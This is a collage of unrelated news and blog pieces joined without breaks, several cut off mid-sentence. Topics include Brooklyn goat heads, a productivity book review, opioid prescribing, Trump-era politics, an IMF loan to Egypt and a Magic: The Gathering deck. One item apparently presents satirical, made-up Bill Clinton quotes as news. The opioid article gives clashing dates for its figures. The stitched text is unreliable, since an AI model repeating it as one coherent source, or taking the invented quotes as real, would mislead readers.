Although this isn't a UK specific feature, the idea you can hover over an image in a print ad and it will recognise and give you search results when you scan it.
Finally, Google Goggles will complete the number puzzle for you in the time it takes you to figure out how to spell Sodu Sudu Sudoku.Why Do Severed Goat Heads Keep Turning Up in Brooklyn? Some say it’s a strange religious ritual. Others, a prank. I went looking for answers.
At the intersection of Fifth Avenue and Ninth Street in Brooklyn, the heart of Park Slope’s tree-lined prosperity abruptly gives way to grittier windswept blocks that march south to Sunset Park and west to the Gowanus Canal. Trucks and cars speed down Ninth Street as dusty construction workers, sharply dressed professionals, nannies with strollers, and roughhousing teens hustle across Fifth Avenue, all on their way to somewhere else. Perhaps this neither-here-nor-there-ness explains why two skinned goat heads that appeared without explanation above the intersection last November remained there for days. The heads were tied together at the base of the skull with twine and slung over a light pole on the intersection’s northeast corner. After at least four days, an employee from a nearby car service knocked the goat heads down with a pole and threw them in a garbage can.
Or maybe the sluggish reaction to the Park Slope goat heads signals the extent to which such discoveries have become a routine occurrence in the area. Severed goat heads keep turning up in nearby Prospect Park. Last year alone, readers sent the blog Gothamist photographic evidence of three goat heads found in the park. (In all of these cases, the goat heads had their skin still attached.) Gothamist seems to be experiencing something like goat-head fatigue, judging from the increasingly nonchalant tone of its goat-head coverage. Pretty soon it will probably take a cow head to get them excited. "It's New York,” one spectacularly unimpressed passerby told DNAinfo. “I've seen the towers come down, so beyond that, nothing really stings that bad.”
But while repeated exposure to goat heads may have inured some local residents, others have sensed an unsettling trend. Many news reports about the Park Slope goat heads suggested a dark link to the goat heads discovered in Prospect Park. “Residents have questioned whether the incidents could be connected to religious animal sacrifice,” The Wall Street Journal wrote. The specter of Santería was invoked. The Drudge Report picked up the story. The goat heads went global. As I read all this in my apartment a few blocks from the site of the hanging goat heads, I was riveted. A mysterious flood of goat heads is the only interesting thing that has happened in Park Slope since I moved to the neighborhood three years ago. Yes, the rush to blame a little-understood religion practiced largely by immigrants smacked a bit of lazy xenophobia, but the idea of Park Slope as a hotbed of animal sacrifice, in addition to child-friendly bars, was undeniably intriguing. In a city where everyday occurrences are casually weighed against the events of September 11, 2001, it was shocking to find that so many of my neighbors and I were actually shocked. The goat heads seemed to rear out of some shadow New York City that was even gnarlier than the pre-Guiliani version I’d seen in the movies, and at the edge of Brooklyn’s most thoroughly gentrified neighborhood, to boot. When New York asked me to investigate the goat heads, I leapt at the chance. I wanted to see if the world they hinted at lived up to the hype.
I quickly learned that any answers would not be forthcoming from official channels. The NYPD opened an investigation into the hanging goat heads back in November, but a public information officer with Park Slope’s 78th Precinct informed me that “no further information has been found out.” A spokesman for the Prospect Park Alliance said, “I don't think anyone in the park is going to have that much to say about it.” A FOIL request I filed with the New York City Parks and Recreation Department (for “all records related to reports of decapitated animal corpses and animal heads found in New York City parks between the years 2010–2014”) didn’t seem to be at the top of their list of priorities.
A goat head found in Brooklyn's Dr. Ronald McNair Park on Thursday, March 12. Photo: Julie Reinken/Courtesy of DNA Info
It was time to consult the oracle. I Googled “Goat heads + New York.” Here I learned that the city’s suburbs have been experiencing an oddly complementary goat-head related issue. Last fall in Westchester County, a bunch of headless goat carcasses began to turn up in public places. When a decapitated goat was found in a plastic bag along with some chicken carcasses in September, the authorities there leaped into action and called upon an occult expert named Marcos Quinones to investigate. Maybe he’d have some insight into the Goat Heads of Park Slope, I thought. But I mentioned Quinones to Alex Mar, a journalist who has researched the occult and fringe religions in America for her upcoming book Witches of America, and she wrote back: “Watch out for those 'occult experts.' Very 80s-paranoia.” Indeed, Quinones has been helping law enforcement investigate possible ritualistic sacrifices since the 1980s, when the U.S. was seized by a nationwide panic over Satanism and the occult, sparked by now-debunked reports of satanic ritual abuse in preschools. But surely the field of occult investigation has evolved since then, right?
I called Quin |
is particularly pronounced in high-stakes jobs like flying an airplane. Complicating matters is the introduction of automatic flight systems that have greatly improved safety, yet which require pilots to be fully active for only a small part of each flight, transforming piloting from a proactive to a reactive profession. In doing so, these systems create new risks at moments when pilots must suddenly switch modes and are forced to “toggle between automaticity and focus.”
Duhigg shares the harrowing story of Air France Flight 447 from Rio de Janeiro to Paris in 2009. The Airbus plane had a highly advanced flight system that vastly reduced the number of decisions a pilot had to make. In response to a fairly routine occurrence at high altitudes — a tube measuring air speed became clogged with ice crystals — the auto-flight system turned off. Jarred by unexpectedly having to shift into active mode, the pilot fell prey to a mental glitch called “cognitive tunneling” — an immediate focus on the first thing to come to attention, even if it’s not the most important thing. In this case, the pilot latched onto a display showing whether the plane was rolling slightly to one side or the other. He focused solely on leveling the wings, not realizing he was pulling back on the control stick and raising the plane’s nose. In the thin high air, the smooth flow of air over the wings that generates “lift” was disrupted, causing what’s called an “aerodynamic stall” and sending the plane into free fall.
“Those with an internal locus of control … feel in charge of their own destiny and attribute success or failure to their own efforts.”
The pilot never recovered from his initial tunnel vision, and so was not able to assess the situation and correct it. “But what’s happening?” he asked two seconds before the plane plunged into the sea.
Telling Stories
A year later, another Airbus plane, a Qantas Airways flight from Singapore to Sydney, experienced multiple engine failures shortly after takeoff. The pilot had to turn back and attempt an emergency landing, despite the fact that the plane’s major systems were failing. The difference is this: The pilot kept his head and successfully avoided tunnel vision. He did so by creating a narrative and by envisioning scenarios — generating what cognitive scientists call “mental models.”
For the pilot of Qantas Flight 32, this was a habit of mind he consciously cultivated, for himself and his crew. Part of his pre-flight ritual was for the entire crew to run through potential emergencies, and to visualize what they would do, and to where they would turn their attention. When disaster struck, he and his crew had a picture in their minds of how they would react.
Moreover, when he realized that 21 of the plane’s 22 major systems were damaged or completely disabled, the pilot simplified the situation by constructing a new narrative on the spot. He imagined he was flying a Cessna, a simple single-engine plane, the first he had ever flown. Instead of panicking over what wasn’t working, this story helped him focus on what was working. In a case that has since been much studied, investigators declared it the most damaged Airbus ever to land safely.
Duhigg finds this pattern across a wide range of occupations and settings — from neonatal intensive care units to corporate recruiting firms. Especially in challenging or chaotic situations, the most successful are those with a habit of telling stories about their experiences, generating theories and mental models. A corporate vice-president Duhigg interviewed says he looks for candidates “who describe their experiences as some kind of narrative. It’s a tip-off that someone has an instinct for connecting the dots and understanding how the world works at a deeper level.”
In a later section on probabilistic thinking, Duhigg delves into another narrative-related skill: the ability to envision multiple futures. In a sense, all decision-making involves anticipating future possibility and probability. Cross-cutting the journey of a star poker player with other fields that rely on forecasting, the author finds that those with the keenest “computational cognition” can “hold multiple, conflicting outcomes” in their minds, and then “estimate their relative likelihoods.”
Teams and ‘Psychological Safety’
Generating mental models and theories is key. But so is subjecting them to scrutiny. As part of his pre-flight visualizations, the Qantas pilot actively encouraged his crew to challenge him and one another. “Everyone has a responsibility to tell me if you disagree with my decisions or think I’m missing something.”
Creating an environment that encourages the airing of a diversity of opinion requires what one researcher calls “team psychological safety.” In 1991, Amy Edmondson — then a first-year PhD student and now a professor at the Harvard Business School — began looking into the relationship between team culture and error rates at different units of two Boston hospitals. The most cohesive units were ones that not only encouraged the open sharing of ideas — but also where nurses felt comfortable admitting and reporting mistakes.
Google’s People Analytics group (its version of Human Resources) drew on Edmondson’s research as it tried to hone in on what made for the most successful teams. Always big believers in data, they first studied 180 teams from all over the company to see if they could correlate a team’s composition with its productivity. “The ‘who’ part of the equation didn’t seem to matter,” says one executive, so they began to look at the ‘how’ — the group norms that governed how teams functioned.
What mattered most in the end, concluded Laszlo Bock, head of Google’s people operations, was “voice” and “social sensitivity.” Google created checklists to ensure that team leaders modeled the right behavior and fostered psychological safety. Disagreement was encouraged, always; but leaders should never interrupt during a conversation. And a meeting shouldn’t end until all team members have spoken at least once.
A joint study by MIT and Carnegie Mellon reached similar conclusions. Successful teams exhibited a wide range of personalities and styles, but they shared two core qualities. Members of the best teams spoke in roughly the same proportion. And they exhibited high average social sensitivity: the ability to read one another and react appropriately.
Lean, Agile Management
Japan’s bullet trains inspired General Electric to adopt stretch goals. And Toyota’s experiments with decentralized decision-making prompted similar changes at General Motors, and later at the FBI.
In 1982, GM shut down its Fremont, California plant — one with a well-earned reputation as “the worst auto factory in the world.” Two years later, GM reopened the plant in a new partnership with Toyota. For the Japanese company, it was an opportunity to expand in the American market. And for GM it was a chance to learn about the famed “Toyota Production System” that consistently produced cars of high quality at low cost. At the heart of this system was the idea of pushing decision making to the lowest level: workers on the assembly line saw mistakes and problems first, so they should be empowered to take immediate action to correct them.
The United Auto Workers had negotiated a commitment that at least 80% of the laid-off workers would be hired at the rebooted plant. The union and workers were skeptical about the promised new “culture of trust,” and management wasn’t sure that culture could be exported to America. For the first month, workers didn’t dare pull the “andon cords” that would immediately halt the production line. They knew that any stoppage would cost the factory $15,000 a minute. Under the old regime, workers might indicate a problem by marking the vehicle with a crayon or Post-it –and only after it was fully assembled would it then be taken to the back lot and disassembled so the problem could be fixed. It was an inefficient system of passing the buck, but the unspoken rule in the plant had always been: The line never stops.
Eventually, the rehired workers were coaxed into pulling the cord. They realized they could halt the line and take care of the problem without being penalized. Soon there were hundreds of such pulls a day, and the culture was transformed. By 1986, productivity had doubled, and absenteeism was down from 25% to 3%.
Toyota’s approach is sometimes dubbed “lean manufacturing,” and was an unexpected inspiration for major reforms at the Federal Bureau of Investigation. Since 1997, the FBI had been trying to update its computer system for sorting and managing evidence and case histories. The intelligence failures of 9/11 only heightened the urgency of doing so. But 11 years and $305 million later, the new system, Sentinel, was nowhere near operational. The bureau brought in an outside consultant, Chad Fulgham, who had no background in law enforcement, and whose specialty was developing computer networks for large banks.
“In a sense, all decision-making involves anticipating future possibility and probability.”
Fulgham and other like-minded programmers were admirers of the Toyota Production System, and had drafted a “Manifesto for Agile Software Development.” Fulgham applied the Toyota philosophy to a skeptical FBI: distributing critical decision-making power to people on the ground. Whoever was closest to a particular challenge was empowered to take initiative, regardless of rank. Top officials were allowed to offer suggestions, but not to micromanage.
The new approach was a wild success. A 2010 inspector general’s report had estimated it would take six years and almost $400 million to get Sentinel working; Fulgham and his team delivered it for $20 million in just over a year. “It was like government on steroids,” Fulgham remembers, and has had a significant ripple effect on how the bureau goes about its business in general.
Innovation
Fulgham had taken his experience in the private sector on Wall Street and applied it to the public sector and the FBI. Duhigg finds that cross-pollination and unexpected combinations are yet another key ingredient in increasing productivity. Across a wide range of settings — including academic publishing, show business, and product design — successful innovation is often rooted in unusual combinations and interdisciplinary thinking.
A survey of a database of almost 18 million scientific papers found that those with the most novelty and impact (as measured by subsequent citations and other factors) took largely conventional material and enlivened it by pairing it with something unusual — instead of Newton and Einstein, juxtaposing Einstein and the Chinese philosopher Wang Chong, to cite one instance. The consumer design firm IDEO has had some of its biggest successes by combining “existing knowledge from disparate industries.” A top-selling water bottle, for example, mixed a standard water carafe with the nozzle of a shampoo container. Ronald Burt studied 673 managers at a large electronic company. Those rated most “creative” were the ones who exported ideas from one division to another. “This is not creativity born of genius,” he asserts. “It is creativity as an import-export business.” He dubs such intellectual middlemen “innovation brokers.”
Similarly, the groundbreaking musical West Side Story simply takes the familiar story of Romeo and Juliet and transplants it among New York City street gangs. It is a fresh and surprising combination of conventional elements. And the runaway hit movie Frozen was a very conscious attempt to take the standard princess fairy tale and turn it on its head.
Disruption
The process by which Frozen achieved its creative breakthrough illustrates the last of Duhigg’s keys to productivity. For months, the creative team struggled to get the final third of the film right. They had hit a rut that Pixar founder Ed Catmull calls “spinning.” His ongoing obsession (which he details in his book Creativity, Inc.) is how to maintain a culture of creativity and prevent success from letting that culture go stale.
One of his main tactics is a kind of intentional disruption: mid-project, he will step in and shake up a team by tweaking its dynamics, even if he knows that by doing so he will generate a certain amount of tension. In the case of Frozen, he named the film’s writer, Jennifer Lee, as a second director. A writer is more a lone voice, where a director must listen to and incorporate suggestions from across the production. The new responsibility and point of view were just the jolt she needed.
Duhigg profiles a very different kind of disruption at an elementary school in Cincinnati that — despite ample funding from the city, and generous sponsorship from companies like Procter & Gamble — had for years languished as one of the worst-performing schools in Ohio. Administrators had embraced the idea of using data to inform education, and they were armed with a sophisticated software system that tracked students’ performance, and made it available online to teachers and parents on an easily accessible dashboard. The hope was that the data would allow educators to target students with exactly the kind of individual assistance they needed; but measurable progress had yet to be seen.
In truth, most of the school’s teachers rarely looked at the data on the students’ dashboards. So the school experimented with a disruption that forced teachers to actively engage with the information, instead of merely passively viewing it on the screen. Teachers were required to spend at least two afternoons a month in a new “data room” where they participated in mandatory exercise whereby they transcribed the data onto individual index cards and tabulated statistics by hand. Essentially, the school was intentionally complicating the handling of data: the process was more cumbersome and time-consuming, but in the end the information was “stickier.”
“Productive people and companies force themselves to make choices most people are content to ignore.”–Charles Duhigg
The task was boring, and seemed redundant. But eventually, teachers started engaging with the information in interesting ways. One teacher, Nancy Johnson, ended up spending extra time in the data room, experimenting with different ways of grouping the cards. “Handling the index cards, she found, gave her a more granular sense of each student’s strengths and weaknesses.”
The changed engagement with data led to a changed engagement with teaching, and a series of innovative moves to help struggling students. In less than a year, the school’s overall scores had more than doubled. A year after that, Johnson was named Cincinnati’s Educator of the Year.
Duhigg found that absorbing and engaging the insights of his own book was not a simple task. In an Appendix, “A Reader’s Guide to Using These Ideas,” he shares his own journey to translate the science of productivity into his daily routine. He concludes that it is ultimately about making more conscious (and often more difficult) choices: “Productive people and companies force themselves to make choices most people are content to ignore.”Screenshot by Boonsri Dickinson/CNET
As consumer technology begins including features that let the disabled express themselves, the cost of access to assistive technologies has gone down significantly, from thousands of dollars to the price of a tablet.
For instance, the BBC reports that a patient with locked-in syndrome lost his ability to speak, so he uses an Apple computer and an Android phone to communicate.
While touch-screen devices are popular, they're still limiting--especially in cases when the disabled person can't type on the virtual keyboard.
Apple may soon get around this touch-screen issue.
In a recent patent application, the company outlined a method for hooking up iOS devices to accessories. A person could, for example, use a joystick to control an iOS device. Or a visually impaired individual could "see" the screen using a braille attachment. The accessories would be linked to the touch-screen device via a wireless connection or a physical one.
The method could be standardized, to make it usable with any device no matter the screen size. The protocol would also likely extend Apple's VoiceOver feature, which uses voice commands to help the blind as well as the dyslexic navigate iOS devices.
Disabled users can push innovation and drive designers toward solutions that make interacting with machines much easier. For instance, software developer Nuance Communications invented a voice command to give the disabled the ability to type on a PC, but now those mathematical models are used in Amazon's Kindle reader and Ford Motor cars as well.
Patents, hiring data, and acquisitions suggest that voice recognition may be integrated into iOS 5.
(Via Patently Apple.)Americans are losing faith in Trump's ability to keep his promises, according to a new poll 4:03 PM ET Mon, 17 April 2017 | 00:49
Americans are losing confidence in President Donald Trump's ability to keep his promises, according to a newly released poll.
Only 45 percent of people think Trump keeps his promises, down from 62 percent in February, according to a Gallup survey, which polled people from April 5 to 9. The change comes after Republicans failed to pass a plan to replace the Affordable Care Act and appear to face difficulties clearing tax reform and infrastructure proposals, among other hurdles to the sweeping agenda Trump promised during his campaign.
Trump already faces a lower approval rating at 41 percent than most recent presidents have at this point in their first terms, according to Gallup. Still, Americans' views of presidents can fluctuate, and Trump already won the 2016 election when most Americans viewed him unfavorably.
Only 40 percent of women think Trump keeps promises, down from 65 percent in February. The change was less stark in men, as the total fell to 51 percent from 59 percent.
Democrats, independents and Republicans were all less likely to think Trump keeps his promises, though the dropoff was larger among those who identified as Democrats or liberals.
In the same poll, the percentage of Americans who say Trump "is a strong and decisive leader" also dropped to 52 percent from 59 percent. People were less likely to answer that the president "can bring about the changes this country needs" and that he is "honest and trustworthy."ctvmontreal.ca
MONTREAL - Julie Ouimette posted an open letter on Facebook a few days ago, looking for a hero who can save her life. The hero Ouimette needs is a suitable bone marrow donor to can help her beat her cancer once and for all.
"He can come from anywhere: Canada, Quebec, France, England, Germany, I don't know, Japan," said Ouimette.
Diagnosed with leukemia when she was eight, Ouimette has undergone two stem cell transplants and rounds of chemotherapy over the years, but the cancer has returned.
Just last week two possible donors in Europe turned out not to be suitable matches. Ouimette has specific proteins in her cells that are tough to match.
With the latest upset, Ouimette's mother came up with the idea of finding a hero by getting the word out to encourage people everywhere to register with their local bone marrow donor bank.
"I can't believe there's not a match somewhere in this world, we just need to find that person," said Natalie Waskiewicz, Ouimette's mother.
She and her mother want as many people as possible to register with Hema Quebec. All you have to do is go to the website, click on the donor link and fill out a questionnaire. Since last week, nearly 3,000 people have done just that.
"Usually that's our goal for one year so that's a lot of new donors," said Diane Roy, the director of Hema Quebec's bone marrow section.
Once you register, Hema Quebec will send you a kit to enter you in to the databank.
"When your children feel sick you want them to stay with you all your life, you know? So yeah, I'm looking for a hero," said Waskiewicz.
In the meantime, Ouimette is taking CEGEP courses at home and is keeping busy perfecting her painting, above all she is staying positive her hero will be found.by
Mormon Studies scholar Kirk Caudle started the summer as an active member of the Church of Jesus Christ of Latter-day Saints and as an religion instructor at Brigham Young University-Idaho.
Last week, that all changed as Caudle resigned from the Church.
I was shocked to hear of this news. This past Spring, Kirk was my roommate at the Mormon Scholars in the Humanities conference.
In our conversations together at the conference, Caudle was very open about his devotion to The Book of Mormon as inspired scripture and his admiration for the Prophet Joseph Smith.
The things is…none of that has changed.
Believing
This past Sunday, in an interview with Approaching Justice, Caudle re-affirmed his love of the Book of Mormon and his admiration for the prophet Joseph Smith.
“I believe in The Book of Mormon and Joseph Smith,” Caudle told me from his home in the Portland, Oregon area.
“I have had interactions, both from study and prayer, where the Holy Ghost has moved upon me in relation to The Book of Mormon,” Caudle told me. He went on to explain to me that his relationship with The Book of Mormon was more “Mormon” than academic. It is a relationship of faith, one which he said was “even irrational” from a philosophical or academic perspective. However, it is a spiritual relationship that he continues to have.
“I really have a great love and testimony of Joseph,” added Caudle. But that testimony does not extend to Brigham Young, Caudle noted, and by extension to the current LDS leadership.
For Caudle, revelations have been replaced by press releases, amicus briefs, and political posturing.
The Breaking Point
While Caudle insists that he did not leave because he was offended, two interactions with Church leadership led directly to his resignation.
At the local level, Caudle told me that he has long been shunned by local leadership. They refused to allow him to teach (his life’s passion) or to really hold any callings at all. Years of being treated like an outsider led Caudle to wonder if the outside is where he belonged.
A year ago, Caudle was excited to get the opportunity to teach online religion classes for Brigham Young University-Idaho. Teaching religion is what he is trained to do and it is something that he loves doing.
Caudle has a BA in Biblical Studies and Religious History from Cascade College and an MA in Spiritual Traditions and Ethics from Marylhurst University.
In many ways, Caudle was an anomaly amongst religion teachers at BYU-Idaho, both amongst online instructors and full-time on-campus instructors, because he actually had a graduate degree in an area related to religious studies.
“I loved the students,” Caudle told me. He specifically enjoyed the interaction he had with them. After all, his favorite activity is discussing the scriptures.
Caudle enjoyed contributing to the blog Feast upon the Word because it focused on the scriptures and helping people teach from the scriptures. Other blogs often focus on social and political controversies, but those were not the things that interested Caudle. Caudle is a teacher of scripture and not an activist.
Online courses at BYU-Idaho, for the most part, come as a ready-to-go product that is completely created and designed well before the instructors are involved with them. The instructors mostly grade assignments and respond to students messages and emails as needed.
Caudle went above and beyond by creating and sharing videos containing mini-lectures related to the course topic.
He also held a virtual hour-long office hour where he would answer questions from students and have discussions based on questions and topic raised in online discussions during the previous week.
Caudle had done many of these sessions without any complaints. They were voluntary sessions. Students could join in if they were interested in additional discussion and interaction.
During one particular session that touched on the succession of Church leadership from Joseph Smith to Brigham Young, 30 students joined the session. During the discussion, Caudle mentioned that the account of Brigham Young being transfigured to appear like Joseph Smith is not “entirely historical.”
One student complained to some local leaders about the session. This was the only complaint about his classes that Caudle ever heard about. It would be the last.
Following the complaint, Caudle had a 45 minute meeting with Dale Sturm, the chair of the BYU-Idaho Religion Department, and Rod Stewart, the head of Online Learning at BYU-Idaho.
Caudle was told that they did not have a problem with the content of his teaching, but they did not like his tone. If it is not in the student manual or a recent general conference it should not be taught, they added.
Sturm and Stewart threatened to terminate Caudle on the spot, but they instead allowed him to finish the course with the restriction that he have not direct contact with students. They also threatened to report him to his local Church leaders.
When Caudle pointed out that students enjoyed his classes, he was told, “We don’t care what the students think. We just want you to teach the curriculum.”
Rejection and Exile
“The Gospel is for everyone, but the Church isn’t,” Caudle said near the end of my interview with him.
When BYU-Idaho refused to renew his contract, Caudle felt rejected by the Church. It did not want him at the local level or at the institutional level.
“The Church won’t have me,” Caudle told me.
“At the heart of Mormonism, Mormonism is communal,” Caudle said. And he does not feel welcome within the LDS Church community.
Caudle still attends church, but he decided to resign because he was “tired of tip-toeing.”
He was also sick of questions such as “”How can you be a member and say XYZ.”
Now he is not a member. There is now no question. He only speaks for himself.Bill Clinton Calls Mike Pence's Strict Marital Practices 'Excessive'
U.S.—In a candid new interview, former President Bill Clinton commented Friday on the recent revelation that Vice President Mike Pence refuses to dine alone with women who are not his wife, saying the strict guidelines are “ridiculous” and “excessive.”
“The only woman he’ll spend time alone with is his wife? Come on, that’s way over the top,” Clinton said. “I think we powerful men should be able to get away with a little one-on-one time with a cute coworker without making a move. What are we, savages?”
“Can’t you exercise a little self control, Mr. Vice President?” he challenged.
Voicing his disdain for the so-called “Billy Graham rule” employed by Pence, Clinton went on to say that he does adhere to the more realistic “Jimmy Swaggart rule,” wherein he makes it a point to never tell his wife when he is going to be alone with other women.Caitie is a young doctor and is quick to admit that she overprescribes painkillers to her patients.
Sometimes it’s because the 25-year-old is being bullied by older patients complaining of their intense pain after surgery, other times it’s because there is a lack of beds in the hospital where she works and patients need to be discharged.
“I would feel safe with what I’m prescribing but sometimes I’m thinking they may not need opioids but to get them out of hospital quicker, I give it to them.”
Caitie works at a hospital in Melbourne and says young doctors overprescribing pain relief medication happens all too often.
“I think it’s trying to get people well enough to get out of hospital quicker with a strong pain relief,” she says. “There is a large pressure on us to get them out of the hospital and there’s institutional pressures from the nursing staff who need beds.
Some patients also became aggressive when she doesn’t prescribe them stronger pain killers. One patient had recently complained to the doctor on night shift that they needed opioids and the doctor had given it to them, despite Caitie refusing to prescribe it during the previous day.
Opioids are so strong, I don’t think people realise that.”
Caitie is not alone in her overprescribing.
Study finds junior doctors are over-prescribing
A new study from St Vincent's Hospital has shown junior doctors have been overprescribing powerful painkillers like opioids without proper guidance from their seniors.
The report looked at the number of painkillers being prescribed by junior doctors over a seven year period in the Sydney hospital and found more than a quarter of them (27%) were inappropriate.
Dr Jennifer Stevens, who is an anaesthetist and ran the study, said the hospital had failed to adequately prepare their junior doctors on prescription medications, particularly after patients came out of surgery and were about to go home.
“The problem is that up until about three years ago we didn't realise that if you start somebody on a particular type of medication, they are much more likely to continue that medication in the long term,” Dr Stevens said.
The hospital, which is one of the largest in Sydney, had noticed the use of the drug oxycodone had almost increased by 300 per cent in a seven year period. In 2015, oxycodone tablets prescribed to patients being discharged from the hospital was 12,000, increasing to 31,000 in 2012.
Another junior doctor, Andrew, who is 28 and based in Melbourne, said if he does prescribe the painkillers it will only be of his superior has suggested it.
“I would never prescribe an opioid unless they had taken it in hospital,” he said.
“We do often prescribe them but only to get through the next few days, then they should go to their GP with what we have given them.”
Bernadette, 30, who works in a hospital in Southern NSW, said she had received formal education on opioid use and wished other junior doctors could get the same training.
“I have received comprehensive education in patients who are high risk,” she told Hack. “It was fantastic education and I use it every day. We were taught about how to look for information and advice to look at opioid use and misuse.”
“I feel like I have been equipped with the skills and I know how to ask for help and refer when I feel like I need to,” she said.
Opioid use in Australia
Addiction to powerful painkillers like opioids is one of the most pressing public health issues in Australia.
The latest figures from 2014 show that 800 people are dying a year from prescription drug overdoses.
One in four people who are prescribed opioids become addicted, according to the International Association for the Study of Pain.
In the United States, the story is a lot worse. About 150 people are dying a day from opioid overdoses, prompting US President Donald Trump to announce the use of opioids was a “national emergency" last week.
What's the solution?
Dr Stevens said when junior doctors were shown the number of painkillers they were prescribing compared with doctors from three to five years ago, they dramatically altered their behaviour.
She said in one year the percentage of inappropriate opioids being prescribed decreased by 60 per cent, from 26 per cent to 10 per cent.
“We discovered that the way to change our prescribing at discharging was to focus on that group of doctors by educating them better and to provide individual feedback on their prescribing practices” Dr Stevens said.
She said patients were also leaving hospital earlier after their operations, often with packets of painkillers but with no support in how to use them.
“We should only give patients a limited supply and then tell them to go to the GP in the post surgery stage,” she said.
“This is the message for the junior doctors - that I don't think they have been given enough education on pain management because there is not a lot that happens in medical schools at the moment.”
“The message to other hospitals was that generalised education wasn’t working, you had to sit the doctors down and show their personalised prescribing practices.”
“We have to audit ourselves,” she said. “As pain specialists we have to take more responsibility for our junior doctors.”This past Monday, General Michael Flynn resigned from his position as President Donald Trump’s national security adviser. His resignation came in the wake of accusations that he had engaged in improper communication with the Russian ambassador.
Later that same week, Trump’s pick to replace Flynn, Navy SEAL veteran Robert Harward, turned down the job.
On Wednesday, his choice for Labor Secretary, Andy Puzder withdrew his name from consideration for the position. Despite three major blows in one week, the president’s employment problems weren’t over yet.
On Wednesday, Politico reported that six White House staffers were dismissed after they failed to pass the FBI background check.
SF86 is a questionnaire designed to determine whether or not a government employee is eligible for a security clearance.
The form is filed for anyone seeking a national security position and asks questions about the candidate’s history with debt counseling, alcohol and drugs, and other personal matters.
On Friday, Trump’s director of scheduling, Caroline Wiles, resigned before her background check was completed, according to the Washington Examiner. In a statement posted by the Florida Times Union, Wiles said:
“It has been my honor to serve President Trump in the campaign and the transition. I resigned my position last Friday and look forward to serving the Administration in a new capacity beginning next week.”
Sources told Politico that Wiles, the daughter of Trump’s Florida campaign director and former campaign manager for Governor Rick Scott (R-FL), will now be taking a job in the Treasury department.
The staff’s inability to pass a required background check made some Twitter users wonder how they were even in their positions in the first place, or how Wiles was able to be reassigned to Treasury.
The names of the other five staffers have not been released, and the White House has not commented on their dismissal.The International Monetary Fund logo is seen during the IMF/World Bank spring meetings in Washington, U.S., April 21, 2017. REUTERS/Yuri Gripas
CAIRO (Reuters) - An International Monetary Fund (IMF) delegation will arrive in Cairo on Sunday to review Egypt’s progress on economic reforms before it disburses the second installment of a $12-billion loan program, the Finance Ministry said.
The IMF delegation will stay until May 11 and meet with officials from the ministry and the central bank, the ministry said in a statement.
Egypt agreed the three-year program with the IMF in November, after floating its Egyptian pound currency in a dramatic move aimed at unlocking foreign inflows and boosting exports after a long-running dollar shortage threatened to paralyze the economy.
It promised a raft of tough reforms, including narrowing its budget deficit, in return for the $12-billion loan package from the IMF and a host of other bilateral backers with payments spread over three years and linked to progress on reforms.
The IMF released a first installment of $2.75 billion in November, shortly after the deal was agreed.
Egypt has said it expects to receive the second installment, worth $1.25 billion, in May or June, once the IMF review has been completed.
IMF Managing Director Christine Lagarde told Reuters in February Egypt was making good progress on reforms.
As part of reform efforts, Egypt has introduced a Value Added Tax (VAT) and secured $4 billion in eurobonds from international markets in an oversubscribed issuance.
It is also part way through a program to reform power and fuel subsidies and is preparing to privatize several state owned banks and energy companies.Image copyright Getty Images Image caption The defaced mural of Taylor Swift in Melbourne's Hosier Lane
A mural in Melbourne apparently proclaiming "the death" of Taylor Swift has been painted over.
The popstar's likeness was painted in a famous graffiti-covered laneway alongside the name "Taylor Smith".
It appeared earlier this week amid the Bad Blood singer's escalating feud with Kanye West and Kim Kardashian.
The mock memorial now has a cartoon face scrawled over it and the words "In loving memory of Harambe", the gorilla shot dead by zookeepers in the US.
Image copyright Getty Images Image caption Dozens of people admiring the latest addition to famed graffiti-covered laneway
Swift's row with Kardashian - largely over whether she gave the latter's husband permission to reference her in a song - is seen by many as having hurt her career by damaging her "nice girl" image.
The artist of the original work, Lushsux, had originally posted a photo of the mural on Instagram with a caption: "The recent passing of @taylorswift is heart wrenching. Come and leave some flowers and light some candles at her memorial in Hosier Lane in honour of her memory."
The "Smith" was an intentional typo designed to ward off "the pending defamation lawsuit".
He later said "Taylor Smith's" lawyers had contacted him threatening legal action if the mural was not removed.
Then on Wednesday, it was defaced, though it was not clear who did it.
Lushsux does not have plans to restore the artwork to its former glory.
"Hosier Lane is notorious for this kind of thing," he told the Herald Sun newspaper. "Got to just laugh about that I guess."
Image copyright Getty Images Image caption Taylor Swift is feuding with Kim Kardashian and Kanye West over a leaked phone conversation
Earlier this year, Lushsux attracted headlines for installing an enormous nude portrait of Kim Kardashian that was then partially painted over by council workers.
"The workers who did it got a laugh out of it by painting a bra on the work or the shape of panties," he told the BBC. "I think it just added to it in a fun way. Bless them."
Taylor Swift is currently on holiday in Australia with British actor Tom Hiddleston. The couple have been branded Hiddleswift by fans.
Lushsux said that he was not trying to make a statement about Swift or her music but just having fun.
"I thought that song Born This Way was by her," he said. "Turns out I was wrong, so maybe that's an indication on how deep my knowledge of her life and music is."I built this control deck for a modern two headed giant tournament I'm attending soon. For the most part this deck has no win conditions, that is because my teammate and I are playing a strategy where he plays a deck built to win, and I play a deck not to lose. I built this deck around counterspells, removal, and a little bit of life gain and creature protection.
COUNTER SPELLS
Mana Leak great counter that most of the time is a 2 mana hard counter
Disdainful Stroke counter target spell you care about
Cancel hard counter
REMOVAL
Despise and Duress are both pseudo counter/kill spells
Devour Flesh kills big indestructible things after the rest of their board has been wiped
Unmake 3 mana exile spell? yes please!
Doom Blade 2 mana kill spell? Boo-Yah!
Path to Exile 1 mana exile spell? it hits indestructible things? ONE GODDAM MANA?!? HELL YES!!!
Supreme Verdict 4 mana wrath, at possibly instant speed with quicken, and possibly one sided with Rootborn Defenses is super sweet
LIFEGAIN/CREATURE PROTECTION
Ajani Steadfast Primarily used to buff creatures and his ult is great
both sorins are great for both buffing creatures, putting creatures on the board and there ults are also awesome.
daxos of melitis is a nice way to gain life as well as having the upside of being able to sometimes play their cards.
Rootborn Defenses protects my things from supreme verdict and also from attacksThis is a very old entry — images are small, formatting is off. Next Stop: PHL
Reviewed Feb. 11, 2013 by Armin Industry / Destinations
Founded in 1682, Philadelphia is “one of the leading cities in the world. Located in between New York City and Washington D.C., 40% of the U.S. population is within a day’s drive.” This succinct description — more facts |
Richard Painter, the former chief White House ethics lawyer under George W. Bush, went a step further and called for Zinke to be removed from his post.
“Interior Department controls vast parts of our Country and cannot be allowed to use federal lands for an extortion racket,” Painter wrote on Twitter. “Fire Zinke NOW.”
Secretary of the Interior Zinke should be removed from office NOW for threatening to abuse his agency's statutory mandate to hurt Alaska. — Richard W. Painter (@RWPUSA) July 28, 2017
